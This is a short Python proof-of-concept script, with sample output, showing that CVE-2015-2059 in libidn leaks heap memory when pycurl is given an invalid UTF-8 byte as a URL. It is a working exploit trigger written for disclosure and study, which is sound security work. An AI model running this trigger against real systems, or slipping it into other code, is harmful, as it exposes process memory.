poc.py

#!/usr/bin/python

"""

Quick and dirty demonstration of CVE-2015-2059 to leak heap memory 
using pycurl (libIDN should be enabled).

$ env -i CHARSET=UTF-8 /usr/bin/python poc.py
Traceback (most recent call last):
  File "poc.py", line 7, in <module>
    c.perform()
pycurl.error: (6, 'Could not resolve host: xn--d395j')

$ env -i CHARSET=UTF-8 /usr/bin/python poc.py
Traceback (most recent call last):
  File "poc.py", line 7, in <module>
    c.perform()
pycurl.error: (6, 'Could not resolve host: xn--id048c')

The resolved domain changes according to the bytes in the heap.
After disabling ASLR, it remains constant.

"""

import pycurl, sys, StringIO

buffer = StringIO.StringIO()
c = pycurl.Curl()
c.setopt(c.URL, "\xfc")
c.setopt(c.WRITEFUNCTION, buffer.write)
c.perform()
c.close()